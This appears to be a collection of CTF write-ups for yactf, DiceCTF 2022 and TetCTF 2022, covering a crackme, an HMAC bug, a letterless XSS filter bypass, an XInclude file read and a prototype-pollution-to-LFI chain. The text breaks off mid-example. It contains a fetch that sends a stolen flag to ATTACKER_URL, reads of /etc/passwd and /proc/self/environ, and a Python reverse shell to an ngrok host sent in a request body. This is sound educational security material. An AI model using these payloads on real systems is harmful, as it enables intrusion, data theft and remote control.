004700700071004C006C00380039004B004300450069004900690073006900490069006C00620061006D006F0075005800790052006600580053006B00720061006D006F0075004A0046003900620061006D006F0075004A00460038006B0058005300740071006100690035006600580079007400710061006900350066004A004300740071006100690034006B004F003200700071004C00690051006B0050005700700071004C006900510072004B004300450069004900690073006900490069006C00620061006D006F0075005800790051006B0058005300740071006100690035006600580079007400710061006900350066004B003200700071004C0069005100720061006D006F0075004A0043005100370061006D006F0075004A00440030006F0061006D006F00750058003100390066004B005600740071006100690034006B00580031003100620061006D006F0075004A004600390064004F003200700071004C00690051006F0061006D006F0075004A004300680071006100690034006B004A0043007300690058004300490069004B0079004A006300580043004900720061006D006F0075005800310038006B004B003200700071004C00690051006B0058007900740071006100690034006B004A0046003800720061006D006F0075004A00460038006B00580079007300690058004600770069004B003200700071004C006C00390066004A004300740071006100690034006B004A0046003800720061006D006F00750058007900520066004B0079004A006300580043004900720061006D006F0075004A004600390066004B003200700071004C006C0039006600580079007300690058004600770069004B003200700071004C006C00390066004A004300740071006100690034006B004A0046003800720061006D006F00750058003100390066004B003200700071004C006900520066004A0046003800720049006C007800630049006900740071006100690035006600580079005100720061006D006F0075004A00430051006B004B003200700071004C006C00390066004A00430073006F0049005600740064004B007900490069004B0056007400710061006900350066004A004600390064004B003200700071004C006C0038006B004B003200700071004C006900520066004A0046003800720061006D006F0075004A004300520066004A0043007300690058004600770069004B003200700071004C0069005200660058007900740071006100690035006600580031003800720049006A0031006300580043004900720061006D006F0075004A004600390066004B003200700071004C006C00390066005800790073006900580046007800630049006C007800630049006900740071006100690035006600580079005100720061006D006F0075004A00430051006B004B003200700071004C006C00390066004A004300740071006100690034006B0058007900520066004B003200700071004C00690051006B00580031003800720061006D006F007500580031003800720061006D006F0075004A00430051006B004A00430073006900650079004900720061006D006F0075004A004600390066004B003200700071004C00690051006B004A0043005100720061006D006F0075004A00460039006600580079007400710061006900350066004A0046003800720061006D006F0075004A00460038006B004A004300740071006100690034006B00580031003800720061006D006F0075004A004300520066004A004300740071006100690034006B0058007900520066004B003200700071004C00690051006B00580031003800720061006D006F0075005800790051006B004B003200700071004C006900520066004A004300740071006100690034006B004A0043005100720061006D006F0075004A00460038006B004A004300740071006100690034006B0058007900520066004B003200700071004C006C0038006B0058007900740071006100690034006B004A0046003800720061006D006F0075004A0046003900660058007900740071006100690034006B004A004300520066004B003200700071004C006C0038006B0058007900740071006100690034006B005800790051006B004B003200700071004C00690051006B004A0046003800720061006D006F0075004A004600390066004B003200700071004C006900520066004A0043005100720061006D006F0075004A00460038006B004B003200700071004C006C00390066004A004300740071006100690034006B004A0046003800720061006D006F0075004A0043005200660058007900740071006100690034006B0058003100390066004B003200700071004C006900520066004A0046003800720061006D006F0075004A0043005200660058007900740071006100690035006600580031003800720061006D006F00750058007900520066004B0079004A003900580046007800630049006A0074006300580043004900720061006D006F0075005800310038006B004B003200700071004C006C0038006B00580079007300690058004600770069004B003200700071004C006C00390066004A004300740071006100690034006B004A0046003800720061006D006F0075004A004300520066004B003200700071004C006900520066004A0046003800720049006C007800630049006900740071006100690035006600580079005100720061006D006F0075004A004300520066004B003200700071004C006C0038006B00580079007300690058004600770069004B003200700071004C0069005200660058007900740071006100690035006600580031003800720049006C007800630049006900740071006100690035006600580079005100720061006D006F0075004A00460038006B004B003200700071004C006C003900660058007900740071006100690034006B004A004300520066004B007900670068005700310030007200490069004900700057003200700071004C006C0038006B0058003100300072004B004300460062005800530073006900490069006C00620061006D006F0075005800790052006600580053007400710061006900350066004A0043007300690058004600770069004B003200700071004C0069005200660058007900740071006100690035006600580031003800720049006A0031006300580043004900720061006D006F0075004A004600390066004B003200700071004C006C0039006600580079007300690058004600770069004B003200700071004C006C00390066004A004300740071006100690034006B004A0046003800720061006D006F00750058003100390066004B003200700071004C006900520066004A0046003800720049006C007800630049006900740071006100690035006600580079005100720061006D006F0075004A00430051006B004B003200700071004C006C00390066004A00430073006F0049005600740064004B007900490069004B0056007400710061006900350066004A004600390064004B003200700071004C006C0038006B004B003200700071004C006900520066004A0046003800720061006D006F0075004A004300520066004A004300730069004C006C007800630049006900740071006100690035006600580079005100720061006D006F0075004A004300520066004B003200700071004C006C0038006B004A0043007400710061006900350066004B003200700071004C006900520066004A0043005100720049006C007800630049006900740071006100690035006600580079005100720061006D006F0075004A004300520066004B003200700071004C006C0038006B004A004300740071006100690035006600580079007300690058004600770069004B003200700071004C006C00390066004A004300740071006100690034006B004A0046003800720061006D006F00750058007900520066004B00790049006F0049006900740071006100690035006600580031003800720049006900770069004B003200700071004C0069005200660058007900730069004B00540074006300580043004900720061006D006F0075004A004600390066004B003200700071004C006C0039006600580079007300690058004600770069004B003200700071004C006C00390066004A0043007400710061006900350066004A0046003800720061006D006F0075004A00460038006B005800790073006F0049005600740064004B007900490069004B0056007400710061006900350066004A004600390064004B003200700071004C00690051006B004A0046003800720049006C007800630049006900740071006100690035006600580079005100720061006D006F0075004A004300520066004B003200700071004C006C0038006B005800790074007100610069003500660058007900730069004B0046007800630049006900740071006100690035006600580079005100720061006D006F0075004A00460038006B004B003200700071004C006C003900660058007900740071006100690034006B004A004300520066004B007900670068005700310030007200490069004900700057003200700071004C006C0038006B0058003100300072004B004300460062005800530073006900490069006C00620061006D006F0075005800790052006600580053007400710061006900350066004A004300730069004B005400730069004B0079004A00630049006900490070004B0043006B0070004B0043006B0037

for char in long_to_bytes(stuff):
    if char:
        print(chr(char), end='')
```

This gave me a base64 string:

```
amo9fltdO2pqPXtfX186KytqaiwkJCQkOighW10rIiIpW2pqXSxfXyQ6KytqaiwkXyRfOighW10rIiIpW2pqXSxfJF86KytqaiwkXyQkOih7fSsiIilbampdLCQkXyQ6KGpqW2pqXSsiIilbampdLF8kJDorK2pqLCQkJF86KCEiIisiIilbampdLCRfXzorK2pqLCRfJDorK2pqLCQkX186KHt9KyIiKVtqal0sJCRfOisramosJCQkOisramosJF9fXzorK2pqLCRfXyQ6Kytqan07amouJF89KGpqLiRfPWpqKyIiKVtqai4kXyRdKyhqai5fJD1qai4kX1tqai5fXyRdKSsoamouJCQ9KGpqLiQrIiIpW2pqLl9fJF0pKygoIWpqKSsiIilbamouXyQkXSsoamouX189amouJF9bamouJCRfXSkrKGpqLiQ9KCEiIisiIilbamouX18kXSkrKGpqLl89KCEiIisiIilbamouXyRfXSkramouJF9bamouJF8kXStqai5fXytqai5fJCtqai4kO2pqLiQkPWpqLiQrKCEiIisiIilbamouXyQkXStqai5fXytqai5fK2pqLiQramouJCQ7amouJD0oamouX19fKVtqai4kX11bamouJF9dO2pqLiQoamouJChqai4kJCsiXCIiKyJcXCIramouX18kK2pqLiQkXytqai4kJF8ramouJF8kXysiXFwiK2pqLl9fJCtqai4kJF8ramouXyRfKyJcXCIramouJF9fK2pqLl9fXysiXFwiK2pqLl9fJCtqai4kJF8ramouX19fK2pqLiRfJF8rIlxcIitqai5fXyQramouJCQkK2pqLl9fJCsoIVtdKyIiKVtqai5fJF9dK2pqLl8kK2pqLiRfJF8ramouJCRfJCsiXFwiK2pqLiRfXytqai5fX18rIj1cXCIramouJF9fK2pqLl9fXysiXFxcIlxcIitqai5fXyQramouJCQkK2pqLl9fJCtqai4kXyRfK2pqLiQkX18ramouX18ramouJCQkJCsieyIramouJF9fK2pqLiQkJCQramouJF9fXytqai5fJF8ramouJF8kJCtqai4kX18ramouJCRfJCtqai4kXyRfK2pqLiQkX18ramouXyQkK2pqLiRfJCtqai4kJCQramouJF8kJCtqai4kXyRfK2pqLl8kXytqai4kJF8ramouJF9fXytqai4kJCRfK2pqLl8kXytqai4kXyQkK2pqLiQkJF8ramouJF9fK2pqLiRfJCQramouJF8kK2pqLl9fJCtqai4kJF8ramouJCRfXytqai4kX19fK2pqLiRfJF8ramouJCRfXytqai5fX18ramouXyRfKyJ9XFxcIjtcXCIramouX18kK2pqLl8kXysiXFwiK2pqLl9fJCtqai4kJF8ramouJCRfK2pqLiRfJF8rIlxcIitqai5fXyQramouJCRfK2pqLl8kXysiXFwiK2pqLiRfXytqai5fX18rIlxcIitqai5fXyQramouJF8kK2pqLl9fXytqai4kJCRfKyghW10rIiIpW2pqLl8kX10rKCFbXSsiIilbamouXyRfXStqai5fJCsiXFwiK2pqLiRfXytqai5fX18rIj1cXCIramouJF9fK2pqLl9fXysiXFwiK2pqLl9fJCtqai4kJF8ramouX19fK2pqLiRfJF8rIlxcIitqai5fXyQramouJCQkK2pqLl9fJCsoIVtdKyIiKVtqai5fJF9dK2pqLl8kK2pqLiRfJF8ramouJCRfJCsiLlxcIitqai5fXyQramouJCRfK2pqLl8kJCtqai5fK2pqLiRfJCQrIlxcIitqai5fXyQramouJCRfK2pqLl8kJCtqai5fXysiXFwiK2pqLl9fJCtqai4kJF8ramouXyRfKyIoIitqai5fX18rIiwiK2pqLiRfXysiKTtcXCIramouJF9fK2pqLl9fXysiXFwiK2pqLl9fJCtqai5fJF8ramouJF8kXysoIVtdKyIiKVtqai5fJF9dK2pqLiQkJF8rIlxcIitqai5fXyQramouJCRfK2pqLl8kXytqai5fXysiKFxcIitqai5fXyQramouJF8kK2pqLl9fXytqai4kJCRfKyghW10rIiIpW2pqLl8kX10rKCFbXSsiIilbamouXyRfXStqai5fJCsiKTsiKyJcIiIpKCkpKCk7
```

Which decoded to obfuscated JavaScript:

```javascript
jj=~[];jj={___:++jj,$$$$:(![]+"")[jj],__$:++jj,$_$_:(![]+"")[jj],_$_:++jj,$_$$:({}+"")[jj],$$_$:(jj[jj]+"")[jj],_$$:++jj,$$$_:(!""+"")[jj],$__:++jj,$_$:++jj,$$__:({}+"")[jj],$$_:++jj,$$$:++jj,$___:++jj,$__$:++jj};jj.$_=(jj.$_=jj+"")[jj.$_$]+(jj._$=jj.$_[jj.__$])+(jj.$$=(jj.$+"")[jj.__$])+((!jj)+"")[jj._$$]+(jj.__=jj.$_[jj.$$_])+(jj.$=(!""+"")[jj.__$])+(jj._=(!""+"")[jj._$_])+jj.$_[jj.$_$]+jj.__+jj._$+jj.$;jj.$$=jj.$+(!""+"")[jj._$$]+jj.__+jj._+jj.$+jj.$$;jj.$=(jj.___)[jj.$_][jj.$_];jj.$(jj.$(jj.$$+"\""+"\\"+jj.__$+jj.$$_+jj.$$_+jj.$_$_+"\\"+jj.__$+jj.$$_+jj._$_+"\\"+jj.$__+jj.___+"\\"+jj.__$+jj.$$_+jj.___+jj.$_$_+"\\"+jj.__$+jj.$$$+jj.__$+(![]+"")[jj._$_]+jj._$+jj.$_$_+jj.$$_$+"\\"+jj.$__+jj.___+"=\\"+jj.$__+jj.___+"\\\"\\"+jj.__$+jj.$$$+jj.__$+jj.$_$_+jj.$$__+jj.__+jj.$$$$+"{"+jj.$__+jj.$$$$+jj.$___+jj._$_+jj.$_$$+jj.$__+jj.$$_$+jj.$_$_+jj.$$__+jj._$$+jj.$_$+jj.$$$+jj.$_$$+jj.$_$_+jj._$_+jj.$$_+jj.$___+jj.$$$_+jj._$_+jj.$_$$+jj.$$$_+jj.$__+jj.$_$$+jj.$_$+jj.__$+jj.$$_+jj.$$__+jj.$___+jj.$_$_+jj.$$__+jj.___+jj._$_+"}\\\";\\"+jj.__$+jj._$_+"\\"+jj.__$+jj.$$_+jj.$$_+jj.$_$_+"\\"+jj.__$+jj.$$_+jj._$_+"\\"+jj.$__+jj.___+"\\"+jj.__$+jj.$_$+jj.___+jj.$$$_+(![]+"")[jj._$_]+(![]+"")[jj._$_]+jj._$+"\\"+jj.$__+jj.___+"=\\"+jj.$__+jj.___+"\\"+jj.__$+jj.$$_+jj.___+jj.$_$_+"\\"+jj.__$+jj.$$$+jj.__$+(![]+"")[jj._$_]+jj._$+jj.$_$_+jj.$$_$+".\\"+jj.__$+jj.$$_+jj._$$+jj._+jj.$_$$+"\\"+jj.__$+jj.$$_+jj._$$+jj.__+"\\"+jj.__$+jj.$$_+jj._$_+"("+jj.___+","+jj.$__+");\\"+jj.$__+jj.___+"\\"+jj.__$+jj._$_+jj.$_$_+(![]+"")[jj._$_]+jj.$$$_+"\\"+jj.__$+jj.$$_+jj._$_+jj.__+"(\\"+jj.__$+jj.$_$+jj.___+jj.$$$_+(![]+"")[jj._$_]+(![]+"")[jj._$_]+jj._$+");"+"\"")())();
```

When pasted into the console, this alerts `yact`. If we remove the final `()`, the function is shown.

![](/files/I49J8ToinO2evJltF9iU)

The flag is `yactf{4f82b4dac357ba268e2be4b516c8ac02}`


# Crackme

This was a simple reversing challenge. Looking at the validation function, we could see that the key is relatively simple to bruteforce.

```c
_BOOL8 __fastcall check(const char *a1)
{
  int i; // [rsp+14h] [rbp-6Ch]
  int k; // [rsp+14h] [rbp-6Ch]
  int m; // [rsp+14h] [rbp-6Ch]
  int n; // [rsp+14h] [rbp-6Ch]
  int j; // [rsp+18h] [rbp-68h]
  int v7; // [rsp+1Ch] [rbp-64h]
  int v8; // [rsp+24h] [rbp-5Ch]
  int v9; // [rsp+30h] [rbp-50h]
  int v10; // [rsp+34h] [rbp-4Ch]
  int v11; // [rsp+38h] [rbp-48h]
  int v12; // [rsp+3Ch] [rbp-44h]
  int v13; // [rsp+40h] [rbp-40h]
  int v14; // [rsp+44h] [rbp-3Ch]
  int v15; // [rsp+48h] [rbp-38h]
  int v16; // [rsp+4Ch] [rbp-34h]
  int v17; // [rsp+50h] [rbp-30h]
  int v18; // [rsp+54h] [rbp-2Ch]
  int v19; // [rsp+58h] [rbp-28h]
  int v20; // [rsp+5Ch] [rbp-24h]
  int v21; // [rsp+60h] [rbp-20h]
  int v22; // [rsp+64h] [rbp-1Ch]
  int v23; // [rsp+68h] [rbp-18h]
  int v24; // [rsp+6Ch] [rbp-14h]
  unsigned __int64 v25; // [rsp+78h] [rbp-8h]

  v25 = __readfsqword(0x28u);
  if ( strlen(a1) != 19 )
    return 0LL;
  for ( i = 4; i <= 19; i += 5 )
  {
    if ( i <= 14 && a1[i] != 45 )
      return 0LL;
    for ( j = i - 4; j < i; ++j )
    {
      if ( a1[j] <= 47 || a1[j] > 57 )
        return 0LL;
    }
  }
  v9 = toi((unsigned int)*a1);
  v10 = toi((unsigned int)a1[1]);
  v11 = toi((unsigned int)a1[2]);
  v12 = toi((unsigned int)a1[3]);
  v13 = toi((unsigned int)a1[5]);
  v14 = toi((unsigned int)a1[6]);
  v15 = toi((unsigned int)a1[7]);
  v16 = toi((unsigned int)a1[8]);
  v17 = toi((unsigned int)a1[10]);
  v18 = toi((unsigned int)a1[11]);
  v19 = toi((unsigned int)a1[12]);
  v20 = toi((unsigned int)a1[13]);
  v21 = toi((unsigned int)a1[15]);
  v22 = toi((unsigned int)a1[16]);
  v23 = toi((unsigned int)a1[17]);
  v24 = toi((unsigned int)a1[18]);
  if ( v9 != 8 )
    return 0LL;
  if ( v14 != 5 )
    return 0LL;
  if ( v16 != 6 )
    return 0LL;
  if ( v17 != 7 )
    return 0LL;
  if ( v18 != 8 )
    return 0LL;
  if ( v19 != 2 )
    return 0LL;
  if ( v21 != 3 )
    return 0LL;
  if ( v22 != 4 )
    return 0LL;
  if ( v23 != 7 )
    return 0LL;
  for ( k = 0; k <= 3; ++k )
  {
    if ( *(&v13 + k) <= 0 || *(&v13 + k) > 7 )
      return 0LL;
  }
  for ( m = 0; m <= 3; ++m )
  {
    if ( *(&v17 + m) <= 1 || *(&v17 + m) > 9 )
      return 0LL;
  }
  for ( n = 0; n <= 3; ++n )
  {
    if ( *(&v21 + n) <= 2 || *(&v21 + n) > 8 )
      return 0LL;
  }
  v7 = v11 + v10 + 8 + v12;
  v8 = v19 + v18 + v17 + v20;
  if ( v23 + v22 + v21 + v24 != (v15 + v14 + v13 + v16 + v7 + v8) / 3 )
    return 0LL;
  if ( v7 != (v23 + v22 + v21 + v24) / 2 )
    return 0LL;
  if ( v15 + v14 + v13 + v16 != v8 - 7 )
    return 0LL;
  if ( v8 + v7 == 33 )
    return v13 + v8 == 31;
  return 0LL;
}
```

Knowing that there are only 7 unknown digits, we could bruteforce the key by checking whether it fulfills the requirements.

```python
start = 'yactf{'

remaining = [0 for _ in range(19)]
for i in range(4, 20, 5):
    if i <= 14:
        remaining[i] = chr(45)

remaining[0] = 8
remaining[6] = 5
remaining[8] = 6
remaining[10] = 7
remaining[11] = 8
remaining[12] = 2
remaining[15] = 3
remaining[16] = 4
remaining[17] = 7

print(remaining)

maximum = 10000000
curr = 0
while curr != maximum:

    # 7 unknowns
    num_string = str(curr).zfill(7)
    test_remaining = remaining.copy()
    
    j = 0
    for i in range(len(test_remaining)):
        if test_remaining[i] == 0:
            test_remaining[i] = int(num_string[j])
            j += 1

    print(test_remaining)

    v7 = test_remaining[2] + test_remaining[1] + 8 + test_remaining[3]
    v8 = 2 + 8 + 7 + test_remaining[13]

    try:
        assert 7 + 4 + 3 + test_remaining[18] == (test_remaining[7] + 5 + test_remaining[5] + 6 + v7 + v8) // 3
        assert v7 == (7 + 4 + 3 + test_remaining[18]) // 2
        assert test_remaining[7] + 5 + test_remaining[5] + 6 == v8 - 7
        assert v8 + v7 == 33
        assert test_remaining[5] + v8 == 31

    except:
        curr += 1

    else:
        print(''.join(map(str, test_remaining)))
        break
```

The key is `yactf{8000-6516-7828-3473}`


# DiceCTF 2022

Hosted by DiceGang from 5 to 7 Feb 2022

| Challenge                                     | Category | Points |
| --------------------------------------------- | -------- | ------ |
| [knock-knock](/2022/dicectf-2022/knock-knock) | Web      | 107    |
| [blazingfast](/2022/dicectf-2022/blazingfast) | Web      | 140    |


# knock-knock

## Description

> Knock knock? Who's there? Another pastebin!!

{% tabs %}
{% tab title="index.js" %}

```javascript
const crypto = require('crypto');

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }

  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }

  getNote({ id, token }) {
    if (token !== this.generateToken(id)) return { error: 'invalid token' };
    if (id >= this.notes.length) return { error: 'note not found' };
    return { data: this.notes[id] };
  }

  generateToken(id) {
    return crypto
      .createHmac('sha256', this.secret)
      .update(id.toString())
      .digest('hex');
  }
}

const db = new Database();
db.createNote({ data: process.env.FLAG });

const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));

app.post('/create', (req, res) => {
  const data = req.body.data ?? 'no data provided.';
  const { id, token } = db.createNote({ data: data.toString() });
  res.redirect(`/note?id=${id}&token=${token}`);
});

app.get('/note', (req, res) => {
  const { id, token } = req.query;
  const note = db.getNote({
    id: parseInt(id ?? '-1'),
    token: (token ?? '').toString(),
  });
  if (note.error) {
    res.send(note.error);
  } else {
    res.send(note.data);
  }
});

app.listen(3000, () => {
  console.log('listening on port 3000');
});
```

{% endtab %}

{% tab title="Dockerfile" %}

```docker
FROM node:17.4.0-buster-slim

RUN mkdir -p /app

WORKDIR /app

COPY package.json .

RUN yarn

COPY . .

USER node

CMD ["node", "index.js"]
```

{% endtab %}
{% endtabs %}

## Solution

A programming error lies in the fact that `crypto.randomUUID` (the function) is used as the `secret`, instead of calling the function.

```javascript
const crypto = require('crypto');

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
    console.log(this.secret);
  }
```

Therefore, the secret is actually:

```
secret-function randomUUID(options) {
  if (options !== undefined)
    validateObject(options, 'options');
  const {
    disableEntropyCache = false,
  } = options || {};

  validateBoolean(disableEntropyCache, 'options.disableEntropyCache');

  return disableEntropyCache ? getUnbufferedUUID() : getBufferedUUID();
}
```

Therefore, we just have to generate the token for `id=0`, which is the same every time.

```java
console.log(db.generateToken(0));
```

The flag is `dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}`


# blazingfast

## Description

> I made a blazing fast MoCkInG CaSe converter!

{% file src="/files/4j30rYMjR1QRC8noBR8q" %}

## Solution

### Code Review

Looking at the site's JavaScript, we can see that the `demo()` function is called on the `demo` GET request parameter, which results in the setting of the `innerHTML` of the `result` element.

```javascript
function demo(str) {
	document.getElementById('result').innerHTML = mock(str);
}

WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {	
	blazingfast = instance.exports;

	document.getElementById('demo-submit').onclick = () => {
		demo(document.getElementById('demo').value);
	}

	let query = new URLSearchParams(window.location.search).get('demo');

	if (query) {
		document.getElementById('demo').value = query;
		demo(query);
	}
})
```

The `mock()` function is a wrapper for the functions exposed by the WASM module. Interestingly, the `str.length` is measured *before* converting the string to upper case - this leads to [inconsistencies in length measurement of some Unicode characters](https://stackoverflow.com/questions/49895784/change-to-length-with-touppercase).

Another interesting point to note is that when reading from the buffer, `str.length` is not used. Instead, characters are read until a null terminator is reached.

```javascript
function mock(str) {
	blazingfast.init(str.length);

	if (str.length >= 1000) return 'Too long!';

	for (let c of str.toUpperCase()) {
		if (c.charCodeAt(0) > 128) return 'Nice try.';
		blazingfast.write(c.charCodeAt(0));
	}

	if (blazingfast.mock() == 1) {
		return 'No XSS for you!';
	} else {
		let mocking = '', buf = blazingfast.read();

		while(buf != 0) {
			mocking += String.fromCharCode(buf);
			buf = blazingfast.read();
		}

		return mocking;
	}
}
```

Notably, the `mock()` function in the WASM module also uses the initialized `length`, which is set to `str.length` to validate the buffer.

Therefore, if the `str.length` is shorter than the actual number of characters written into the buffer, the `mock()` function will not check the entire buffer, allowing the `<>&"` characters.

```c
int length, ptr = 0;
char buf[1000];

void init(int size) {
	length = size;
	ptr = 0;
}

char read() {
	return buf[ptr++];
}

void write(char c) {
	buf[ptr++] = c;
}

int mock() {
	for (int i = 0; i < length; i ++) {
		if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
			buf[i] += 32;
		}

		if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
			return 1;
		}
	}

	ptr = 0;

	return 0;
}
```

### Problematic Unicode

When converting to upper case, some Unicode characters like `ß` turn into multiple characters instead. `ß` is converted to `SS`, which falls within the range of 0 to 128, passing the `if (c.charCodeAt(0) > 128) return 'Nice try.';` check.

![](/files/jWooS23YchG4C3o8siEn)

When `str.length` is initialized, the single character `ß` is used to calculate the length. However, when writing to the buffer, two characters `SS` are written instead. This allows us to bypass the XSS validation.

For instance, `ß<` will have a length of 2, but is converted to `SS<` when writing to the buffer. The `mock()` function uses the initialized length to iterate through the buffer in the `for (int i = 0; i < length; i ++)` loop, missing out the final `<` character.

### Building the Payload

Our final hurdle lies in the fact that JavaScript is a case-sensitive language, and our payload is converted to upper case before being added to the `innerHTML`. For example, if we use `eval()` as our JavaScript payload, then `EVAL()` will be called - but the `EVAL` function is not defined.

I found inspiration from [this post](https://techiavellian.com/constructing-an-xss-vector-using-no-letters), which shows how we can construct an XSS vector without using letters. In his payload, the following is used to build `""["sub"]["constructor"]("alert(1)")()`.

```javascript
""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")()
```

To modify this payload for our purposes, I just had to change the part where the `"alert(1)"` stirng is constructed, and replace it with octal characters for our JavaScript payload, which was

```javascript
fetch('https://ATTACKER_URL/?' + localStorage.getItem('flag'))
```

The following script generates the XSS payload, using `<img src="x" onerror=PAYLOAD>`.

```python
import urllib.parse

# Obfuscation inspired by https://techiavellian.com/constructing-an-xss-vector-using-no-letters

payload = '<img src="x" onerror=\'""[(!1+"")[3]+(!0+"")[2]+(""+{})[2]][(""+{})[5]+(""+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(""+{})[2]])+"")[2]+(!1+"")[3]+(!0+"")[0]+(!0+"")[1]+(!0+"")[2]+(""+{})[5]+(!0+"")[0]+(""+{})[1]+(!0+"")[1]]("\\146\\145\\164\\143\\150...")()\'>'
special_char = 'ﬃ'

print(urllib.parse.quote_plus(special_char * (len(payload) // 2 + 1) + payload))
```


# TetCTF 2022

A great start to the new year! Hosted on 1 to 3 Jan 2022

| Challenge                                          | Category | Points |
| -------------------------------------------------- | -------- | ------ |
| [2X-Service](/2022/tetctf-2022/2x-service)         | Web      |        |
| [Animals](/2022/tetctf-2022/animals)               | Web      |        |
| [Ezflag Level 1](/2022/tetctf-2022/ezflag-level-1) | Pwnable  |        |


# 2X-Service

{% file src="/files/eCzu9uOhf5xZi6A6qIyx" %}

This challenge revolves around an XML parser:

```python
@socketio.on('message')
def handle_message(xpath, xml):
	if len(xpath) != 0 and len(xml) != 0 and "text" not in xml.lower():
		try:
			res = ''
			root = ElementTree.fromstring(xml.strip())
			ElementInclude.include(root)
			for elem in root.findall(xpath):
				if elem.text != "":
					res += elem.text + ", "
			emit('result', res[:-2])
		except Exception as e:
			emit('result', 'Nani?')
	else:
		emit('result', 'Nani?')
```

Notice that `ElementInclude.include(root)` is used, which allows [XInclude directives](https://www.w3.org/TR/xinclude/).

XInclude directives allow the parsing of files as either `text` or `xml`. For example, the following will include the contents of `/etc/passwd` as part of the results.

```markup
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
	<xi:include parse="text" href="/etc/passwd"/>
</foo>
```

However, the server checks that `"text" not in xml.lower()`. This poses a problem, because `parse="xml"` will raise an error when used with non-XML content like `/etc/passwd`. To get around this, we can simply define XML entities, then combine them to form the string `text`:

```markup
<!DOCTYPE data [
	<!ENTITY a0 "te" >
	<!ENTITY a1 "xt" >
]>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
	<xi:include parse="&a0;&a1;" href="/etc/passwd"/>
</foo>
```

The flag was in the environment variable, so we read `/proc/self/environ` to get

`FLAG=TetCTF{Just_Warm_y0u_uP_:P__}`


# Animals

{% file src="/files/H4fXFVRICqgDs7vtzwIF" %}

There is a prototype pollution vulnerability in `/api/tet/list` when merging the request data:

```javascript
app.post('/api/tet/list', function (req, res, next) {
    try {
        const getList1 = require("./static/list-2010-2016.js")
        const getList2 = require("./static/list-2017-2022.js")
        let newList = merge(getList1.all(), getList2.all())
        let data = req.body.data || "";
        newList = merge(newList, data);
        res.json(newList)
    } catch (error) {
        res.send(error)
    }
})
```

Furthermore, user input being passed to `require()` leads to a LFI vulnerability.

```javascript
app.post('/api/tet/years', function (req, res, next) {
    try {
        const list = req.body.list.toString();
        const getList = require("./static/" + list)
        res.json(getList.all())
    } catch (error) {
        console.log(error);
        res.send(error)
    }
})
```

If we could find a *valid `.js` file* that *uses an attribute that we are able to pollute* to spawn a new process or execute a command, then we could escalate this to an RCE.

In the Docker container, the most likely place where we could find a suitable candidate would be in the `node_modules` folder, containing the source code of the installed modules.

Doing a simple search for the `child_process` string, we could find some interesting scripts:

```
$ cd /usr/local/lib/node_modules
$ grep -r "child_process" .

...

./npm/scripts/changelog.js:const execSync = require('child_process').execSync
./npm/scripts/update-dist-tags.js:const { execSync } = require('child_process')
```

The `changelog.js` script indeed has an `execSync` call with a possible command injection.

```javascript
'use strict'
/*
Usage:

node scripts/changelog.js [comittish]

Generates changelog entries in our format as best as its able based on
commits starting at comittish, or if that's not passed, latest.

Ordinarily this is run via the gen-changelog shell script, which appends
the result to the changelog.

*/
const execSync = require('child_process').execSync
const branch = process.argv[2] || 'origin/latest'
const log = execSync(`git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...`).toString().split(/\n/)
```

Since the `require()` call would not pass in any arguments, `process.argv[2]` is undefined. Therefore, we can pollute `process.argv[2]` with a command injection payload before importing the `changelog.js` file.

Testing this locally:

```javascript
let a = {}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (dest, src) => {
    for (var attr in src) {
        console.log(attr);
        if (isObject(dest[attr]) && isObject(src[attr])) {
            merge(dest[attr], src[attr]);
        } else {
            dest[attr] = src[attr];
        }
    }
    return dest
};

b = { 
    ['__proto__']: { 
        '2': "; python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"6.tcp.ngrok.io\",13984));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")';"
    } 
}

merge(a, b);
require('./changelog.js');
```

To perform this exploit chain on web server, we first perform the prototype pollution:

```http
POST /api/tet/list HTTP/1.1

...

Content-Type: application/json

{
    "data": {
        "__proto__": {
            "2":"; python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"6.tcp.ngrok.io\",13984));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")';"
        }
    }
}
```

Then, we exploit the LFI vulnerability to execute the `changelog.js` script.

```http
POST /api/tet/years HTTP/1.1

...

Content-Type: application/json
Content-Length: 81

{"list":"../../../../../usr/local/lib/node_modules/npm/scripts/changelog.js"}
```

This should grant us our reverse shell.

```
$ cd /
$ ./readflag
TetCTF{c0mbine_p0lLut3_lFiii_withN0d3<3}
```


# Ezflag Level 1

This was a file upload vulnerability. Looking inside the `lighttpd.conf` file, we could see that any `.py` files are run with `/usr/bin/python3`.

```
alias.url += ( "/cgi-bin" => "/var/www/cgi-bin" )
alias.url += ( "/uploads" => "/var/www/upload" )
cgi.assign = ( ".py" => "/usr/bin/python3" )
```

Validation is performed to check for the `.py` extension.

```python
def valid_file_name(name) -> bool:
    if len(name) == 0 or name[0] == '/':
        return False
    if '..' in name:
        return False
    if '.py' in name:
        return False
    return True
```

However, once validated, a replacement of `./` with an empty string is performed.

```python
normalized_name = item.filename.strip().replace('./', '')
```

Thus, we can bypass the `.py` filter by using `./py`.

```http
